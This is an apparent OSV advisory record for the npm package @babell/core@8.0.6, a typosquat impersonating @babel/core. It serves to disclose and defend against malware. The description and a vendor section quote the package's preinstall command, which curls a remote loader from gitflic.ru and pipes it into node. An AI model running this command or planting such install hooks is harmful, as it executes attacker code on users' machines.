{"id":"MAL-2026-17497","revision":"564a8f913d2148449e7070ec441211cb","records":[{"revision":"564a8f913d2148449e7070ec441211cb","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-17497","aliases":[],"title":"Malicious code in @babell/core (npm)","description":"@babell/core@8.0.6 impersonates @babel/core (it copies the code and metadata of @babel/core) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @babell/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (ae256b9ff55b98040ea9cb6561edfe1c4e2db94bd111fb19a449651bd6b5d44b)\nThe package's package.json defines a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading a JavaScript file from a third-party host (gitflic.ru/hellscripter, fetched through web.archive.org) and piping it directly into Node for execution at install time. The content fetched is unpinned, served from a non-publisher host unrelated to Babel, and executed with the privileges of the installing user. The package name `@babell/core` differs from the legitimate `@babel/core` by a single character, and its description, author, repository, homepage, and README all impersonate the real Babel project, serving as a delivery vehicle for the dropper.\n","state":0,"publishedAt":"2026-10-03T06:52:06+00:00","modifiedAt":"2026-10-05T23:00:07.3534678+00:00","affected":[{"ecosystem":"npm","name":"@babell/core","ranges":[],"versions":["8.0.6"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/@babell/core/v/8.0.6","https://www.npmjs.com/package/@babell/core"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-17497","license":"OSV · upstream source license applies","key":"osv:MAL-2026-17497","identifiers":["MAL-2026-17497"]},"retained":false,"historicalAffected":[]}],"coverage":[]}